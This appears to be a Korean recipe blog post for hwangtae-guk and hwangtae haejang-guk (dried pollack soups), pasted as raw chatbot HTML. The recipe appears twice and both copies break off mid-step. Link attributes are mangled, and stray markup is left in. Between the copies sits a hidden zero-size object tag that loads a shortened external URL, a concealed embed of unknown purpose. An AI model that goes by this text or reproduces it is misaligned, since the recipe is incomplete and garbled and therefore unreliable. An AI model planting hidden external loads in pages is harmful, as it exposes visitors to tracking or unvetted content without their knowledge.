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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:38">북어국 끓이는 법: 황태국과 황태 해장국의 비밀 레시피 대공개!</h2><p data-sourcepos="3:1-3:178"><strong>푸짐한 영양과 진한 맛으로 사랑받는 북어국!</strong> 황태로 만든 북어국은 더욱 풍부한 맛과 향으로 남녀노소 누구나 좋아하는 메뉴입니다. 하지만, 황태국과 황태 해장국, 어떤 차이가 있을까요? 오늘은 두 가지 북어국의 차이점부터 시작해서, 황태국과 황태 해장국의 핵심 레시피와 실제 리뷰까지 자세하게 소개해드리겠습니다.</p><p data-sourcepos="5:1-5:45"><strong>1. 황태국 vs 황태 해장국: 겉보기는 비슷하지만, 맛은 확실히 다르다!</strong></p><p data-sourcepos="7:1-7:12"><strong>1.1 황태국:</strong></p><ul data-sourcepos="9:1-15:0">
<li data-sourcepos="9:1-12:14"><strong>맑은 국물과 부드러운 식감:</strong>
<ul data-sourcepos="10:5-12:14">
<li data-sourcepos="10:5-10:32">맑은 국물과 부드러운 황태 조각이 특징입니다.</li>
<li data-sourcepos="11:5-12:14">싱싱한 황태의 맛을 즐길 수 있는 대표적인 북어국입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_5d19be10e2349461&quot;,&quot;c_bf5234ff0efec225&quot;,null,&quot;rc_5e80c7300d25c6d7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6850344"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="황태국 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRPoLtoMXCwtU8c7GbaVcv9gRrZSFQeSJcQoaXm4Htjy5EnGczVeJz7W6OCwr9e"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6850344" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_5d19be10e2349461&quot;,&quot;c_bf5234ff0efec225&quot;,null,&quot;rc_5e80c7300d25c6d7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 황태국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
</ul>
</li>
<li data-sourcepos="13:1-15:0"><strong>간장과 새우젓으로 간을 하는 경우가 많습니다.</strong>
<ul data-sourcepos="14:5-15:0">
<li data-sourcepos="14:5-15:0">취향에 따라 다진 마늘, 파, 계란 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="16:1-16:15"><strong>1.2 황태 해장국:</strong></p><ul data-sourcepos="18:1-24:0">
<li data-sourcepos="18:1-21:17"><strong>진한 국물과 쫄깃한 식감:</strong>
<ul data-sourcepos="19:5-21:17">
<li data-sourcepos="19:5-19:34">농축된 국물과 쫄깃하게 씹히는 황태가 특징입니다.</li>
<li data-sourcepos="20:5-21:17">해장국처럼 매콤한 맛을 즐길 수 있는 북어국입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_5d19be10e2349461&quot;,&quot;c_bf5234ff0efec225&quot;,null,&quot;rc_5e80c7300d25c6d7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ndns.shop/product/700%EC%8B%9C%EB%A6%AC%EC%A6%88-%EC%A0%84%EB%AC%B8%EC%A0%90-%EA%B0%88-%ED%95%84%EC%9A%94%EC%97%86%EB%8A%94-%EC%84%9C%EC%B4%88-%EC%82%AC%EA%B3%A8-%ED%99%A9%ED%83%9C%ED%95%B4%EC%9E%A5%EA%B5%AD-700g/1920/"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="황태 해장국 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQf7f5s3vm9MFUuLD-KAUuUd2w-vuMyOAhrBap3aL0uaNHcMeLrK0OK-oi8ZTOL"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://ndns.shop/product/700%EC%8B%9C%EB%A6%AC%EC%A6%88-%EC%A0%84%EB%AC%B8%EC%A0%90-%EA%B0%88-%ED%95%84%EC%9A%94%EC%97%86%EB%8A%94-%EC%84%9C%EC%B4%88-%EC%82%AC%EA%B3%A8-%ED%99%A9%ED%83%9C%ED%95%B4%EC%9E%A5%EA%B5%AD-700g/1920/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_5d19be10e2349461&quot;,&quot;c_bf5234ff0efec225&quot;,null,&quot;rc_5e80c7300d25c6d7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRWqez0OIIRvlFOywcT2nJjoCuWT0JvrifLPuIQVf2K8W-EvGbMECDkNnKIgF-6_iHcH504pFi-0VAlJpLUsQXqc1jg"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">ndns.shop</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 황태 해장국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
</ul>
</li>
<li data-sourcepos="22:1-24:0"><strong>고춧가루, 된장, 마늘 등으로 매콤하게 간을 합니다.</strong>
<ul data-sourcepos="23:5-24:0">
<li data-sourcepos="23:5-24:0">취향에 따라 두부, 김치, 콩나물 등을 추가하여 더욱 든든하게 즐길 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="25:1-25:39"><strong>2. 황태국 레시피: 싱싱한 황태의 맛을 100% 살리는 비법!</strong></p><p data-sourcepos="27:1-27:12"><strong>재료 (2인분)</strong></p><ul data-sourcepos="29:1-37:0">
<li data-sourcepos="29:1-29:8">황태 50g</li>
<li data-sourcepos="30:1-30:8">무 100g</li>
<li data-sourcepos="31:1-31:9">대파 1/2대</li>
<li data-sourcepos="32:1-32:7">마늘 2쪽</li>
<li data-sourcepos="33:1-33:9">참기름 1큰술</li>
<li data-sourcepos="34:1-34:9">국간장 2큰술</li>
<li data-sourcepos="35:1-35:10">새우젓 1작은술</li>
<li data-sourcepos="36:1-37:0">소금, 후추 약간</li>
</ul><p data-sourcepos="38:1-38:7"><strong>레시피</strong></p><ol data-sourcepos="40:1-47:0">
<li data-sourcepos="40:1-40:36">황태는 찬물에 30분 정도 불린 후 가시와 뼈를 제거합니다.</li>
<li data-sourcepos="41:1-41:40">무는 채 썰고, 대파는 송송 썰고, 마늘은 다진 마늘을 준비합니다.</li>
<li data-sourcepos="42:1-42:25">냄비에 참기름을 두르고 황태를 볶습니다.</li>
<li data-sourcepos="43:1-43:36">황태가 살짝 익으면 무, 대파, 마늘을 넣고 함께 볶습니다.</li>
<li data-sourcepos="44:1-44:20">물 500ml를 넣고 끓입니다.</li>
<li data-sourcepos="45:1-45:36">국물이 끓으면 국간장, 새우젓, 소금, 후추로 간을 합니다.</li>
<li data-sourcepos="46:1-47:0">무가 익으면 마지막에 파를 뿌려 완성합니다.</li>
</ol><p data-sourcepos="48:1-48:34"><strong>3. 황태 해장국 레시피: 매콤한 맛으로 밥도둑 완성!</strong></p><p data-sourcepos="50:1-50:12"><strong>재료 (2인분)</strong></p><ul data-sourcepos="52:1-63:0">
<li data-sourcepos="52:1-52:8">황태 50g</li>
<li data-sourcepos="53:1-53:9">두부 100g</li>
<li data-sourcepos="54:1-54:8">무 100g</li>
<li data-sourcepos="55:1-55:8">김치 50g</li>
<li data-sourcepos="56:1-56:9">콩나물 50g</li>
<li data-sourcepos="57:1-57:9">대파 1/2대</li>
<li data-sourcepos="58:1-58:7">마늘 2쪽</li>
<li data-sourcepos="59:1-59:10">고춧가루 1큰술</li>
<li data-sourcepos="60:1-60:8">된장 1큰술</li>
<li data-sourcepos="61:1-61:9">참기름 1큰술</li>
<li data-sourcepos="62:1-63:0">소금, 후추 약간</li>
</ul><p data-sourcepos="64:1-64:7"><strong>레시피</strong></p><ol data-sourcepos="66:1-70:11">
<li data-sourcepos="66:1-66:36">황태는 찬물에 30분 정도 불린 후 가시와 뼈를 제거합니다.</li>
<li data-sourcepos="67:1-67:68">두부는 물기를 제거하고 한입 크기로 썰고, 무는 채 썰고, 김치는 깍둑썰고, 콩나물은 흐르는 물에 헹구어 준비합니다.</li>
<li data-sourcepos="68:1-68:31">대파는 송송 썰고, 마늘은 다진 마늘을 준비합니다.</li>
<li data-sourcepos="69:1-69:25">냄비에 참기름을 두르고 황태를 볶습니다.</li>
<li data-sourcepos="70:1-70:11">황태가 살짝 익</li>
</ol></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:38">북어국 끓이는 법: 황태국과 황태 해장국의 비밀 레시피 대공개!</h2><p data-sourcepos="3:1-3:178"><strong>푸짐한 영양과 진한 맛으로 사랑받는 북어국!</strong> 황태로 만든 북어국은 더욱 풍부한 맛과 향으로 남녀노소 누구나 좋아하는 메뉴입니다. 하지만, 황태국과 황태 해장국, 어떤 차이가 있을까요? 오늘은 두 가지 북어국의 차이점부터 시작해서, 황태국과 황태 해장국의 핵심 레시피와 실제 리뷰까지 자세하게 소개해드리겠습니다.</p><p data-sourcepos="5:1-5:45"><strong>1. 황태국 vs 황태 해장국: 겉보기는 비슷하지만, 맛은 확실히 다르다!</strong></p><p data-sourcepos="7:1-7:12"><strong>1.1 황태국:</strong></p><ul data-sourcepos="9:1-15:0">
<li data-sourcepos="9:1-12:14"><strong>맑은 국물과 부드러운 식감:</strong>
<ul data-sourcepos="10:5-12:14">
<li data-sourcepos="10:5-10:32">맑은 국물과 부드러운 황태 조각이 특징입니다.</li>
<li data-sourcepos="11:5-12:14">싱싱한 황태의 맛을 즐길 수 있는 대표적인 북어국입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_5d19be10e2349461","c_bf5234ff0efec225",null,"rc_5e80c7300d25c6d7",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6850344"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="황태국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRPoLtoMXCwtU8c7GbaVcv9gRrZSFQeSJcQoaXm4Htjy5EnGczVeJz7W6OCwr9e"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6850344" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_5d19be10e2349461","c_bf5234ff0efec225",null,"rc_5e80c7300d25c6d7",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 황태국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
</ul>
</li>
<li data-sourcepos="13:1-15:0"><strong>간장과 새우젓으로 간을 하는 경우가 많습니다.</strong>
<ul data-sourcepos="14:5-15:0">
<li data-sourcepos="14:5-15:0">취향에 따라 다진 마늘, 파, 계란 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="16:1-16:15"><strong>1.2 황태 해장국:</strong></p><ul data-sourcepos="18:1-24:0">
<li data-sourcepos="18:1-21:17"><strong>진한 국물과 쫄깃한 식감:</strong>
<ul data-sourcepos="19:5-21:17">
<li data-sourcepos="19:5-19:34">농축된 국물과 쫄깃하게 씹히는 황태가 특징입니다.</li>
<li data-sourcepos="20:5-21:17">해장국처럼 매콤한 맛을 즐길 수 있는 북어국입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_5d19be10e2349461","c_bf5234ff0efec225",null,"rc_5e80c7300d25c6d7",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ndns.shop/product/700%EC%8B%9C%EB%A6%AC%EC%A6%88-%EC%A0%84%EB%AC%B8%EC%A0%90-%EA%B0%88-%ED%95%84%EC%9A%94%EC%97%86%EB%8A%94-%EC%84%9C%EC%B4%88-%EC%82%AC%EA%B3%A8-%ED%99%A9%ED%83%9C%ED%95%B4%EC%9E%A5%EA%B5%AD-700g/1920/"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="황태 해장국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQf7f5s3vm9MFUuLD-KAUuUd2w-vuMyOAhrBap3aL0uaNHcMeLrK0OK-oi8ZTOL"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://ndns.shop/product/700%EC%8B%9C%EB%A6%AC%EC%A6%88-%EC%A0%84%EB%AC%B8%EC%A0%90-%EA%B0%88-%ED%95%84%EC%9A%94%EC%97%86%EB%8A%94-%EC%84%9C%EC%B4%88-%EC%82%AC%EA%B3%A8-%ED%99%A9%ED%83%9C%ED%95%B4%EC%9E%A5%EA%B5%AD-700g/1920/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_5d19be10e2349461","c_bf5234ff0efec225",null,"rc_5e80c7300d25c6d7",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRWqez0OIIRvlFOywcT2nJjoCuWT0JvrifLPuIQVf2K8W-EvGbMECDkNnKIgF-6_iHcH504pFi-0VAlJpLUsQXqc1jg"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">ndns.shop</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 황태 해장국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
</ul>
</li>
<li data-sourcepos="22:1-24:0"><strong>고춧가루, 된장, 마늘 등으로 매콤하게 간을 합니다.</strong>
<ul data-sourcepos="23:5-24:0">
<li data-sourcepos="23:5-24:0">취향에 따라 두부, 김치, 콩나물 등을 추가하여 더욱 든든하게 즐길 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="25:1-25:39"><strong>2. 황태국 레시피: 싱싱한 황태의 맛을 100% 살리는 비법!</strong></p><p data-sourcepos="27:1-27:12"><strong>재료 (2인분)</strong></p><ul data-sourcepos="29:1-37:0">
<li data-sourcepos="29:1-29:8">황태 50g</li>
<li data-sourcepos="30:1-30:8">무 100g</li>
<li data-sourcepos="31:1-31:9">대파 1/2대</li>
<li data-sourcepos="32:1-32:7">마늘 2쪽</li>
<li data-sourcepos="33:1-33:9">참기름 1큰술</li>
<li data-sourcepos="34:1-34:9">국간장 2큰술</li>
<li data-sourcepos="35:1-35:10">새우젓 1작은술</li>
<li data-sourcepos="36:1-37:0">소금, 후추 약간</li>
</ul><p data-sourcepos="38:1-38:7"><strong>레시피</strong></p><ol data-sourcepos="40:1-47:0">
<li data-sourcepos="40:1-40:36">황태는 찬물에 30분 정도 불린 후 가시와 뼈를 제거합니다.</li>
<li data-sourcepos="41:1-41:40">무는 채 썰고, 대파는 송송 썰고, 마늘은 다진 마늘을 준비합니다.</li>
<li data-sourcepos="42:1-42:25">냄비에 참기름을 두르고 황태를 볶습니다.</li>
<li data-sourcepos="43:1-43:36">황태가 살짝 익으면 무, 대파, 마늘을 넣고 함께 볶습니다.</li>
<li data-sourcepos="44:1-44:20">물 500ml를 넣고 끓입니다.</li>
<li data-sourcepos="45:1-45:36">국물이 끓으면 국간장, 새우젓, 소금, 후추로 간을 합니다.</li>
<li data-sourcepos="46:1-47:0">무가 익으면 마지막에 파를 뿌려 완성합니다.</li>
</ol><p data-sourcepos="48:1-48:34"><strong>3. 황태 해장국 레시피: 매콤한 맛으로 밥도둑 완성!</strong></p><p data-sourcepos="50:1-50:12"><strong>재료 (2인분)</strong></p><ul data-sourcepos="52:1-63:0">
<li data-sourcepos="52:1-52:8">황태 50g</li>
<li data-sourcepos="53:1-53:9">두부 100g</li>
<li data-sourcepos="54:1-54:8">무 100g</li>
<li data-sourcepos="55:1-55:8">김치 50g</li>
<li data-sourcepos="56:1-56:9">콩나물 50g</li>
<li data-sourcepos="57:1-57:9">대파 1/2대</li>
<li data-sourcepos="58:1-58:7">마늘 2쪽</li>
<li data-sourcepos="59:1-59:10">고춧가루 1큰술</li>
<li data-sourcepos="60:1-60:8">된장 1큰술</li>
<li data-sourcepos="61:1-61:9">참기름 1큰술</li>
<li data-sourcepos="62:1-63:0">소금, 후추 약간</li>
</ul><p data-sourcepos="64:1-64:7"><strong>레시피</strong></p><ol data-sourcepos="66:1-70:11">
<li data-sourcepos="66:1-66:36">황태는 찬물에 30분 정도 불린 후 가시와 뼈를 제거합니다.</li>
<li data-sourcepos="67:1-67:68">두부는 물기를 제거하고 한입 크기로 썰고, 무는 채 썰고, 김치는 깍둑썰고, 콩나물은 흐르는 물에 헹구어 준비합니다.</li>
<li data-sourcepos="68:1-68:31">대파는 송송 썰고, 마늘은 다진 마늘을 준비합니다.</li>
<li data-sourcepos="69:1-69:25">냄비에 참기름을 두르고 황태를 볶습니다.</li>
<li data-sourcepos="70:1-70:11">황태가 살짝 익</li>
</ol></div>
</div></div>
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